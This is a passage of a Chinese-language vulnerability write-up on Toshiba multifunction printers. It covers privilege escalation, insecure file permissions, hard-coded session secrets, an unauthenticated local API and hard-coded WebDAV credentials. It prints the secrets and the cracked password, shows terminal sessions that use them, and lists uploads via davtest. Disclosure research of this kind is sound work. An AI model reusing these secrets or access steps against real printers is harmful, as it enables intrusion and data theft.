Perl 5.10.x 于 2007 年 12 月发布,/usr/bin/sperl5.10.1-17 处的 suidperl 二进制文件容易受到本地权限提升漏洞的影响。PROCSUID 是 NSA 针对此漏洞开发的一种漏洞利用程序,于 2016 年公开。

该漏洞可在https://github.com/x0rz/EQGRP/blob/master/Linux/up/procsuids.sh.WITHCOMMENTS上找到。

bash-4.1# ls -la /usr/bin/sperl5.10.1-17
-rws--x--x 1 root root 74988 Mar 15 11:42 /usr/bin/sperl5.10.1-17
bash-4.1# /usr/bin/sperl5.10.1-17 --help

Usage: /usr/bin/sperl5.10.1-17 [switches] [--] [programfile] [arguments]
-0[octal] specify record separator (, if no argument)
-a autosplit mode with -n or -p (splits $_ into @F)
-C[number/list] enables the listed Unicode features
-c check syntax only (runs BEGIN and CHECK blocks)
-d[:debugger] run program under debugger
-D[number/list] set debugging flags (argument is a bit mask or alphabets)
-e program one line of program (several -e's allowed, omit programfile)
-E program like -e, but enables all optional features
-f don't do $sitelib/sitecustomize.pl at startup
-F/pattern/ split() pattern for -a switch (//'s are optional)
-i[extension] edit <> files in place (makes backup if extension supplied)
-Idirectory specify @INC/#include directory (several -I's allowed)
-l[octal] enable line ending processing, specifies line terminator
-[mM][-]module execute "use/no module..." before executing program
-n assume "while (<>) { ... }" loop around program
-p assume loop like -n but print line also, like sed
-P run program through C preprocessor before compilation
-s enable rudimentary parsing for switches after programfile
-S look for programfile using PATH environment variable
-t enable tainting warnings
-T enable tainting checks
-u dump core after parsing program
-U allow unsafe operations
-v print version, subversion (includes VERY IMPORTANT perl info)
-V[:variable] print configuration summary (or a single Config.pm variable)
-w enable many useful warnings (RECOMMENDED)
-W enable all warnings
-x[directory] strip off text before #!perl line and perhaps cd to directory
-X disable all warnings

bash-4.1#

本地攻击者可以获得root权限。

详细信息 – 核心文件的不安全权限

我们发现,所有东芝打印机都包含 coredump 二进制文件/work/log/platform/syscallerr/gdb_backtraces。这些文件具有不正确的权限;任何本地攻击者都可以读取和/或修改这些文件。这些文件包含程序崩溃时的内存转储,并包含敏感文件(扫描文件、打印文件和明文凭据):

内容/work/log/platform/syscallerr/gdb_backtraces

bash-4.1# ls -la /work/log/platform/syscallerr/gdb_backtraces/ 
total 176
drwxrwxrwx 2 root root 4096 Apr 11 19:48 .
drwxrwxrwx 3 root root 4096 Apr 6 2016 ..
-rwxrwxrwx 1 root root 34651 Mar 23 20:27 core.alhp9100.4104.MFP14130119.1679583349_backtrace
-rwxrwxrwx 1 root root 2440 Mar 23 20:27 core.alipp.4825.MFP14130119.1679583369_backtrace
-rwxrwxrwx 1 root root 1007 Mar 23 20:26 core.bash.17184.MFP14130119.1679583274_backtrace
-rwxrwxrwx 1 root root 1729 Mar 23 20:26 core.curl.17593.MFP14130119.1679583273_backtrace
-rwxrwxrwx 1 root root 679 Mar 23 20:27 core.dibbler-client.3219.MFP14130119.1679583329_backtrace
-rwxrwxrwx 1 root root 1554 Mar 23 20:27 core.httpd.17263.MFP14130119.1679583348_backtrace
-rwxrwxrwx 1 root root 1514 Mar 23 20:27 core.httpd.17339.MFP14130119.1679583357_backtrace
-rwxrwxrwx 1 root root 3099 Mar 23 20:27 core.httpd.5108.MFP14130119.1679583307_backtrace
-rwxrwxrwx 1 root root 1140 Mar 23 20:27 core.httpd.5119.MFP14130119.1679583308_backtrace
-rwxrwxrwx 1 root root 1140 Mar 23 20:27 core.httpd.5120.MFP14130119.1679583310_backtrace
-rwxrwxrwx 1 root root 1302 Mar 23 20:27 core.httpd.5121.MFP14130119.1679583304_backtrace
-rwxrwxrwx 1 root root 1513 Mar 23 20:27 core.httpd.5122.MFP14130119.1679583374_backtrace
-rwxrwxrwx 1 root root 1513 Mar 23 20:27 core.httpd.5124.MFP14130119.1679583309_backtrace
-rwxrwxrwx 1 root root 1513 Mar 23 20:27 core.httpd.5126.MFP14130119.1679583330_backtrace
-rwxrwxrwx 1 root root 1513 Mar 23 20:27 core.httpd.5127.MFP14130119.1679583372_backtrace
-rwxrwxrwx 1 root root 1140 Mar 23 20:27 core.httpd.5128.MFP14130119.1679583306_backtrace
-rwxrwxrwx 1 root root 24384 Apr 11 19:48 core.httpd_worker.8272.MFP14130119.1681135080_backtrace
-rwxrwxrwx 1 root root 17882 Mar 23 20:27 core.mapper.1572.MFP14130119.1679583311_backtrace
-rwxrwxrwx 1 root root 1673 Mar 23 20:27 core.nqcs.4048.MFP14130119.1679583366_backtrace
-rwxrwxrwx 1 root root 1025 Mar 23 20:27 core.sendmail.3868.MFP14130119.1679583366_backtrace
-rwxrwxrwx 1 root root 1226 Mar 23 20:26 core.sh.17183.MFP14130119.1679583274_backtrace
-rwxrwxrwx 1 root root 1080 Mar 23 20:27 core.slpd.4475.MFP14130119.1679583369_backtrace
-rwxrwxrwx 1 root root 5025 Mar 23 20:26 core.snmpd.4229.MFP14130119.1679583274_backtrace
-rwxrwxrwx 1 root root 1068 Mar 23 20:27 core.vsftpd.4033.MFP14130119.1679583366_backtrace
bash-4.1#

本地攻击者可以窃取机密信息。

详细信息 – Sendmail 使用的不安全权限 – 本地权限提升

观察发现,所有东芝打印机都使用 Sendmail 向收件人发送电子邮件。

Sendmail 与几个不安全的目录一起使用:

  • /work/ci/tmp存储Sendmail的临时配置文件,此目录具有危险的权限(777),如下面的Sendmail日志所示。

  • /var/spool/clientmqueue存储电子邮件,此目录具有危险的权限,如下面的Sendmail日志所示。

内容/ramdisk/al/network/log/maillog

2023-04-14T19:59:58.973687+12:00 localhost faxmilter[4069]: call the smfi_main function
2023-04-14T21:07:31.005288+12:00 localhost sendmail[10814]: /work/ci/tmp/Config5564fde0-02e5-4e85-a5ff-0937a7de150a.cf: WARNING: dangerous write permissions
2023-04-14T21:07:31.035657+12:00 localhost sendmail[10814]: dangerous permissions=40777 on queue directory /var/spool/clientmqueue/
2023-04-14T21:07:31.140713+12:00 localhost sendmail[10814]: 12A91D0a561921: [email protected], size=312413, class=0, nrcpts=1, msgid=<TTEC89704647-f3b3-4f31-b9c5-348f90ae72f8@hostname>, relay=root@localhost

本地攻击者可以注入恶意 Sendmail 配置文件并以 root 身份执行远程代码。

本地攻击者可以注入恶意扫描文件。

本地攻击者可以窃取机密信息。

详细信息 – 在 Python 应用程序中发现用于生成身份验证 cookie 的硬编码密钥

据观察,所有东芝打印机都使用以 WSGI 应用程序形式运行的 Python 程序来提供动态 Web API。例如,这些 API 为打印机提供远程管理功能。

看起来一些硬编码密钥用于 Pyramid 中的身份验证。知道这些私钥可能会让攻击者绕过身份验证并进入管理界面:

  • Settingapp WSGI 程序

  • HomeApp WSGI 程序

  • WebServerApp WSGI 程序

硬编码密钥:

/home/SYSROM_SRC/build/release/webframework/settingapp/development.ini:session.secret = Ecp2FBapEeWjWwAMKRj
/home/SYSROM_SRC/build/release/webframework/homeapp/development.ini:session.secret = RkoKjLoUEeWkjwAMKRj
/home/SYSROM_SRC/build/release/framework/webserverapp/development.ini:session.secret = ZV2ViU2VydmVyQXBwZ
/home/SYSROM_SRC/build/release/framework/settingapp/development.ini:session.secret = Ecp2FBapEeWjWwAMKRj
/home/SYSROM_SRC/build/release/framework/settingapp/development_sapp.ini:session.secret = Ecp2FBapEeWjWwAMKRj
/home/SYSROM_SRC/build/release/framework/homeapp/development.ini:session.secret = RkoKjLoUEeWkjwAMKRj
/application/webframework/settingapp/development.ini:session.secret = Ecp2FBapEeWjWwAMKRj
/application/webframework/homeapp/development.ini:session.secret = RkoKjLoUEeWkjwAMKRj
/application/framework/webserverapp/development.ini:session.secret = ZV2ViU2VydmVyQXBwZ
/application/framework/settingapp/development.ini:session.secret = Ecp2FBapEeWjWwAMKRj
/application/framework/settingapp/development_sapp.ini:session.secret = Ecp2FBapEeWjWwAMKRj
/application/framework/homeapp/development.ini:session.secret = RkoKjLoUEeWkjwAMKRj

由于使用 Apache 作为反向代理,因此此类应用程序可直接访问。

例如,要访问 SettingApp,可以发送 HTTP 请求至/aplpx/

内容/encryption/al/network/config/httpd.conf

[...]
1146 ProxyPass /aplpx/ http://localhost:50184/
1147 ProxyPassReverse /aplpx/ http://localhost:50184/
[...]

远程攻击者可以绕过远程应用程序中的身份验证。

详细信息 – WebPanel 中缺少身份验证 – 本地权限提升

据观察,所有东芝打印机都使用以 WSGI 应用程序形式运行的 Python 程序来提供动态 Web API。例如,这些 API 为打印机提供远程管理功能。

其中一个应用程序是 WebPanel,它绑定到端口 50180/tcp 上的本地主机接口。此程序提供无需身份验证的 API。本地攻击者可以通过访问位于以下位置的路由来更改打印机的配置,而无需身份验证/devicecontrol

内容/registration/al/WebPanel/wpserver/screenfacade/devicecontrol/__init__.py

1 #! /usr/bin/env python
2 # -*- coding: utf-8 -*-
3 import logging
4
5 from pyramid.config import Configurator
6
7 log = logging.getLogger("wpserver")
8
9
10 def includeme(config):
11 log.info("includeme:ENTER")
12 config.add_route('init_powercontrol', 'initPowerControl')
13 config.add_route('powercontrol_mode', 'PowercontrolMode')
14 config.add_route('turn_on_led', 'turnOnLED')
15 config.add_route('turn_off_led', 'turnOffLED')
16 config.add_route('invoke_screen', 'invokeScreen', xhr=True)
17 config.add_route('invoke_popup_window', 'invokePopupWindow', xhr=True)
18 config.add_route('invoke_auth_popup_window', 'invokeAuthPopupWindow', xhr=True)
19 config.add_route('invoke_auth_popupwindowwith_permissions', 'invokeAuthPopupWindowWithPermissions', xhr=True)
20 config.add_route('start_rotatepolygon', 'startRotatePolygon')
21 config.add_route('start_fuserheating', 'startFuserHeating')
22 config.add_route('start_fuserheating_rotatepolygon', 'startFuserHeatingRotatePolygon')
23 config.add_route('invoke_popup_screen', 'invokePopupScreen', xhr=True)
24 config.add_route('invoke_drawer_window', 'invokeDrawerWindow', xhr=True)
25 config.add_route('blink_led', 'blinkLED')
26 config.add_route('get_device_running_status', 'getDeviceRunningStatus', xhr=True)
27 config.add_route('get_drawer_information', 'getDrawerInformation', xhr=True)
28 config.add_route('lock_keys_withid', 'lockKeysWithID', xhr=True)
29 config.add_route('unlock_keys_withid', 'unLockKeysWithID', xhr=True)
30 config.add_route('show_sharedhome_window', 'showSharedHomeWindow', xhr=True)
31 log.info("includeme:EXIT")
32
33
34 def main(global_config, **settings):
35 """ This function returns a Pyramid WSGI application.
36 """
37 log.info("main:ENTER")
38 config = Configurator(settings=settings)
39 config.include(includeme, route_prefix='/devicecontrol')
40 config.add_static_view('static', 'prototype', cache_max_age=3600)
41 config.scan('devicecontrol')
42 log.info("main:EXIT")
43 return config.make_wsgi_app()

WebPanel内部的Python脚本定义了246条路由,监听50180端口,无需认证:

无需身份验证的 API 访问:

./wpserver/eventmanagement/__init__.py:    config.add_route('sse_event_start', 'sseEventStart')
./wpserver/eventmanagement/__init__.py: config.add_route('sse_event_stop', 'sseEventStop')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('user_login_required', 'userLoginRequired', xhr=True)
./wpserver/screenfacade/authentication/__init__.py: config.add_route('authenticate_user', 'authenticateUser', xhr=True)
./wpserver/screenfacade/authentication/__init__.py: config.add_route('async_Authenticate_Check', 'asyncAuthenticateCheck', xhr=True)
./wpserver/screenfacade/authentication/__init__.py: config.add_route('change_user_password', 'changePassword', xhr=True)
./wpserver/screenfacade/authentication/__init__.py: config.add_route('user_log_out', 'userLogOut', xhr=True)
./wpserver/screenfacade/authentication/__init__.py: config.add_route('set_dept_code', 'setDeptCode')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('get_diagnostic_code', 'getDiagnosticCode')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('register_user', 'registerUser')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('login_by_pincode', 'loginByPinCode')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('login_by_pincode_external', 'loginByPinCodeExternal')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('login_by_cardid', 'loginByCardId')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('login_by_cardid_external', 'loginByCardIdExternal')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('login_by_card_pincode', 'loginByCardIdAndPinCode')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('login_by_card_pin_external', 'loginByCardIdAndPinExternal')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('project_management_setting', 'projectManagementSetting')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('project_management_operations', 'projectOperations')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('card_swipe_event_subscribe', 'CardSwipeEventSubscribe')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('card_swipe_event_unsubscribe', 'CardSwipeEventUnsubscribe')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('job_status_blink_event_subscribe', 'JobStatusBlinkEventSubscribe')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('job_status_blink_event_unsubscribe', 'JobStatusBlinkEventUnsubscribe')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('set_pin_code', 'setPinCode')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('set_swipe_event', 'setSwipeEvent')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('set_remote_scan', 'setRemoteScan')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('validate_credential', 'validateCredential')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('authenticate_by_smtp_ldap', 'authenticateBySmtporLdap')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('validate_temp_login_admin', 'validateTempLoginAdmin', xhr=True)
./wpserver/screenfacade/authentication/__init__.py: config.add_route('get_display_settings', 'getDisplaySettings', xhr=True)
./wpserver/screenfacade/authentication/__init__.py: config.add_route('after_login_success_checks', 'afterLoginSuccessChecks', xhr=True)
./wpserver/screenfacade/basepanel/__init__.py: config.add_route('set_inactive_mode', 'setInactiveMode', xhr=True)
./wpserver/screenfacade/basepanel/__init__.py: config.add_route('set_active_mode', 'setActiveMode', xhr=True)
./wpserver/screenfacade/basepanel/__init__.py: config.add_route('init_department_code', 'initDepartmentCode', xhr=True)
./wpserver/screenfacade/basepanel/__init__.py: config.add_route('get_current_language', 'getCurrentLanguage', xhr=True)
./wpserver/screenfacade/basepanel/__init__.py: config.add_route('update_paramters_for_coincontroller', 'updateCoinControllerParameters', xhr=True)
./wpserver/screenfacade/basepanel/__init__.py: config.add_route('pause_auto_clear_timer', 'pauseAutoClearTimer', xhr=True)
./wpserver/screenfacade/basepanel/__init__.py: config.add_route('resume_auto_clear_timer', 'resumeAutoClearTimer', xhr=True)
./wpserver/screenfacade/basepanel/__init__.py: config.add_route('control_power_key', 'controlPowerKey', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('init_jobstatus', 'initJobstatus', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('get_log_auth','getLogAuthentication')
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('get_suspended_job_details', 'getSuspendedJobDetails', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('re_init_jobstatus', 'reInitJobstatus', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('get_sync_mode','getSyncMode')
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('init_jobstatus_jobs', 'initJobStatusJobs', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('get_count_wfid', 'getTotalJobs', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('get_print_job', 'getPrintJobList', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('update_print_parameter','updateSuspendedJobData')
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('jobs_start_hard_key','jobsStartHardKey')
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('get_scan_job', 'getScanJobList', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('init_fax_jobs', 'initFaxJobs', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('get_fax_job', 'getFaxJobList', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('init_jobstatus_logs', 'initJobStatusLogs', xhr=True)
[...]

这些路由用于来自本地主机的无需身份验证的内部通信。

内容/work/log/al/httpd_wsgi_access.log

127.0.0.1 - - [25/Apr/2023:13:17:38 +0530] "GET /wpserver/devicecontrol/turnOffLED?key=FunctionClear HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:18:26 +0530] "GET /wpserver/home/getLoginData?_=1682332768396 HTTP/1.1" 200 1289
127.0.0.1 - - [25/Apr/2023:13:18:26 +0530] "GET /wpserver/statusbar/statusBarEventUnsubscribe?_=1682332768397 HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:18:26 +0530] "GET /wpserver/statusbar/statusBarEventSubscribe?_=1682332768398 HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:18:27 +0530] "GET /wpserver/home/initHomeScreen?defaultMenu=undefined&_=1682332768399 HTTP/1.1" 200 9648
127.0.0.1 - - [25/Apr/2023:13:18:27 +0530] "GET /wpserver/home/getRemainingTiles?userType=Public&selectedTileSize=large&_=1682332768400 HTTP/1.1" 200 16
127.0.0.1 - - [25/Apr/2023:13:18:27 +0530] "GET /wpserver/devicecontrol/turnOnLED?key=Start HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:18:27 +0530] "GET /wpserver/devicecontrol/turnOffLED?key=FunctionClear HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:19:12 +0530] "GET /wpserver/devicecontrol/invokeScreen?screen=JobStatus&_=1682332768401 HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:20:01 +0530] "GET /wpserver/home/getLoginData?_=1682332768402 HTTP/1.1" 200 1444
127.0.0.1 - - [25/Apr/2023:13:20:02 +0530] "GET /wpserver/statusbar/statusBarEventUnsubscribe?_=1682332768403 HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:20:02 +0530] "GET /wpserver/statusbar/statusBarEventSubscribe?_=1682332768404 HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:20:02 +0530] "GET /wpserver/home/initHomeScreen?defaultMenu=undefined&_=1682332768405 HTTP/1.1" 200 9648
127.0.0.1 - - [25/Apr/2023:13:20:03 +0530] "GET /wpserver/home/getRemainingTiles?userType=Public&selectedTileSize=large&_=1682332768406 HTTP/1.1" 200 16
127.0.0.1 - - [25/Apr/2023:13:20:03 +0530] "GET /wpserver/devicecontrol/turnOnLED?key=Start HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:20:03 +0530] "GET /wpserver/devicecontrol/turnOffLED?key=FunctionClear HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:52:03 +0530] "GET /wpserver/devicecontrol/invokeScreen?screen=JobStatus&_=1682332768407 HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:52:30 +0530] "GET /wpserver/print/initPrintJob?_=1682332768408 HTTP/1.1" 200 1398
127.0.0.1 - - [25/Apr/2023:13:52:30 +0530] "GET /wpserver/devicecontrol/turnOffLED?key=Start HTTP/1.1" 200 2

例如,本地攻击者无需身份验证即可访问以下 API:

bash-4.1# curl "http://127.0.0.1:50180/wpserver/devicecontrol/turnOffLED?key=FunctionClear"
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2 100 2 0 0 2 0 0:00:01 --:--:-- 0:00:01 166
OK

本地攻击者可以绕过应用程序中的身份验证,提供管理访问权限。

详细信息 – 用于 WebDAV 访问的硬编码凭据

我们发现,所有东芝打印机在所有人都可读的文件中都包含用于 WebDAV 访问的凭证/home/SYSROM_SRC/data/passwords

bash-4.1# ls -la /home/SYSROM_SRC/data/passwords
-rw-rw-rw- 1 root trusted 42 Jan 18 2022 /home/SYSROM_SRC/data/passwords
bash-4.1# cat /home/SYSROM_SRC/data/passwords
EBX:$apr1$wQYd9W5O$wDKvnN4Ij34hwvTiohAka.

有可能和 John 一起破解这个哈希:

kali% john passwd.toshiba
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
toshiba (EBX)
1g 0:00:00:00 DONE 2/3 (2023-03-09 09:22) 11.11g/s 36022p/s 36022c/s 36022C/s keller..karla
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
kali%

然后,对于 2020 年发布的固件版本,可以通过 WebDAV 完全访问打印机。

对运行固件版本 T373HD0W1054、T410HD0W1073、TB01HD0W1610 和 TG01HD0W1610 的打印机成功进行了此类访问:

kali% davtest -url http://10.0.0.1:8080/storage/box/ITUTBoxes
********************************************************
Testing DAV connection
OPEN FAIL: http://10.0.0.1:8080/storage/box/ITUTBoxes Server response: 405 Method Not Allowed
kali% davtest -url http://EBX:[email protected]:8080/storage/box/ITUTBoxes
********************************************************
Testing DAV connection
OPEN FAIL: http://EBX:[email protected]:8080/storage/box/ITUTBoxes Server response: 405 Method Not Allowed
kali% davtest -url http://EBX:[email protected]:8080/EFilingBoxes/
********************************************************
Testing DAV connection
OPEN SUCCEED: http://EBX:[email protected]:8080/EFilingBoxes
********************************************************
NOTE Random string for this session: SIX4x_ZkORvv
********************************************************
Creating directory
MKCOL SUCCEED: Created http://EBX:[email protected]:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv
********************************************************
Sending test files
PUT aspx SUCCEED: http://EBX:[email protected]:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.aspx
PUT asp SUCCEED: http://EBX:[email protected]:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.asp
PUT jhtml SUCCEED: http://EBX:[email protected]:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.jhtml
PUT txt SUCCEED: http://EBX:[email protected]:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.txt
PUT cfm SUCCEED: http://EBX:[email protected]:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.cfm
PUT pl SUCCEED: http://EBX:[email protected]:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.pl
PUT shtml SUCCEED: http://EBX:[email protected]:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.shtml
PUT php SUCCEED: http://EBX:[email protected]:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.php
PUT jsp SUCCEED: http://EBX:[email protected]:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.jsp
PUT cgi SUCCEED: http://EBX:[email protected]:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.cgi
PUT html SUCCEED: http://EBX:[email protected]:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.html
********************************************************
Checking for test file execution
EXEC aspx FAIL
EXEC asp FAIL
EXEC jhtml FAIL
EXEC txt SUCCEED: http://EBX:[email protected]:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.txt
EXEC txt FAIL
EXEC cfm FAIL
EXEC pl FAIL
EXEC shtml FAIL
EXEC php FAIL
EXEC jsp FAIL
EXEC cgi FAIL
EXEC html SUCCEED: http://EBX:[email protected]:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.html
EXEC html FAIL

********************************************************
/usr/bin/davtest Summary:
Created: http://EBX:[email protected]:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv
PUT File: http://EBX:[email protected]:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.aspx
PUT File: http://EBX:[email protected]:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.asp
PUT File: http://EBX:[email protected]:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.jhtml
PUT File: http://EBX:[email protected]:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.txt
PUT File: http://EBX:[email protected]:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.cfm
PUT File: http://EBX:[email protected]:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.pl
PUT File: http://EBX:[email protected]:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.shtml
PUT File: http://EBX:[email protected]:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.php
PUT File: http://EBX:[email protected]:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.jsp
PUT File: http://EBX:[email protected]:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.cgi
PUT File: http://EBX:[email protected]:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.html
Executes: http://EBX:[email protected]:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.txt
Executes: http://EBX:[email protected]:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.html
kali%

我们可以确认文件存储在打印机内部:

bash-4.1# ls -la /storage/box/EFilingBoxes/
total 16
drwxrwxrwx 4 root root 4096 Mar 9 03:22 .
drwxr-xr-x 9 root root 4096 Mar 9 01:47 ..
drwxrwxrwx 2 root trusted 4096 Aug 12 2018 00000
drwxrwxrwx 2 apache trusted 4096 Mar 9 03:22 DavTestDir_SIX4x_ZkORvv
-rwxrwxrwx 1 root trusted 0 Mar 9 01:47 initialized.sts
bash-4.1# ls -la /storage/box/EFilingBoxes/DavTestDir_SIX4x_ZkORvv
total 52
drwxrwxrwx 2 apache trusted 4096 Mar 9 03:22 .
drwxrwxrwx 4 root root 4096 Mar 9 03:22 ..
-rw-rw-rw- 1 apache trusted 44 Mar 9 03:22 davtest_SIX4x_ZkORvv.asp
-rw-rw-rw- 1 apache trusted 44 Mar 9 03:22 davtest_SIX4x_ZkORvv.aspx
-rw-rw-rw- 1 apache trusted 42 Mar 9 03:22 davtest_SIX4x_ZkORvv.cfm
-rw-rw-rw- 1 apache trusted 66 Mar 9 03:22 davtest_SIX4x_ZkORvv.cgi
-rw-rw-rw- 1 apache trusted 26 Mar 9 03:22 davtest_SIX4x_ZkORvv.html
-rw-rw-rw- 1 apache trusted 37 Mar 9 03:22 davtest_SIX4x_ZkORvv.jhtml
-rw-rw-rw- 1 apache trusted 37 Mar 9 03:22 davtest_SIX4x_ZkORvv.jsp
-rw-rw-rw- 1 apache trusted 24 Mar 9 03:22 davtest_SIX4x_ZkORvv.php
-rw-rw-rw- 1 apache trusted 66 Mar 9 03:22 davtest_SIX4x_ZkORvv.pl
-rw-rw-rw- 1 apache trusted 181 Mar 9 03:22 davtest_SIX4x_ZkORvv.shtml
-rw-rw-rw- 1 apache trusted 19 Mar 9 03:22 davtest_SIX4x_ZkORvv.txt
bash-4.1#

远程攻击者可以在打印机 Web 界面中存储包含 XSS 的文件。

由于新版本的Apache在配置选项(选项require valid-user)上有一些变化,因此该漏洞已经在最新的固件版本中被修补。

目标:东芝打印机 – 嵌入式应用程序

概括

东芝打印机在最新版本的固件映像中支持附加程序(“嵌入式应用程序”)。

默认情况下安装了2个程序:

  • 远程命令 (v1.0.8)

  • 电子邮件云身份验证(v1.0.0)。

默认安装的应用程序列表:

东芝多功能打印机 40 个漏洞挖掘过程(第二部分)

可以与此类应用程序进行交互,如下所示:

东芝多功能打印机 40 个漏洞挖掘过程(第二部分)

详细信息 – 不安全的权限

观察发现这些程序位于 /application 目录内:

内容/application

bash-4.1# cd /application
bash-4.1# ls -la
total 44
drwxr-xr-x 8 root root 4096 Mar 15 11:49 .
drwxr-xr-x 30 root root 4096 Apr 10 18:47 ..
drwxr-xr-x 4 root root 4096 Mar 15 11:50 app
drwxrwxrwx 4 root trusted 4096 Mar 15 11:49 backup
drwx--x--- 3 root trusted 4096 Apr 6 2016 common
drwxr-xr-x 5 root root 4096 Apr 6 2016 framework
drwx------ 2 root root 16384 Apr 6 2016 lost+found
drwxr-xr-x 7 root root 4096 Apr 6 2016 webframework
bash-4.1#

分析/application 内部目录时,我们发现几个不安全的权限。

备份目录不安全,到处都有不正确的(777)权限:

内容/application/backup

bash-4.1# pwd
/application/backup
bash-4.1#
bash-4.1# ls -la
total 16
drwxrwxrwx 4 root trusted 4096 Mar 15 11:49 .
drwxr-xr-x 8 root root 4096 Mar 15 11:49 ..
drwxrwxrwx 4 root trusted 4096 Mar 15 11:50 initial
drwxrwxrwx 4 root trusted 4096 Mar 15 11:50 latest
bash-4.1# ls -latrR
.:
total 16
drwxr-xr-x 8 root root 4096 Mar 15 11:49 ..
drwxrwxrwx 4 root trusted 4096 Mar 15 11:49 .
drwxrwxrwx 4 root trusted 4096 Mar 15 11:50 initial
drwxrwxrwx 4 root trusted 4096 Mar 15 11:50 latest

./initial:
total 16
drwxrwxrwx 2 apache trusted 4096 Mar 15 11:49 10000000-0000-0000-0000-500000000000
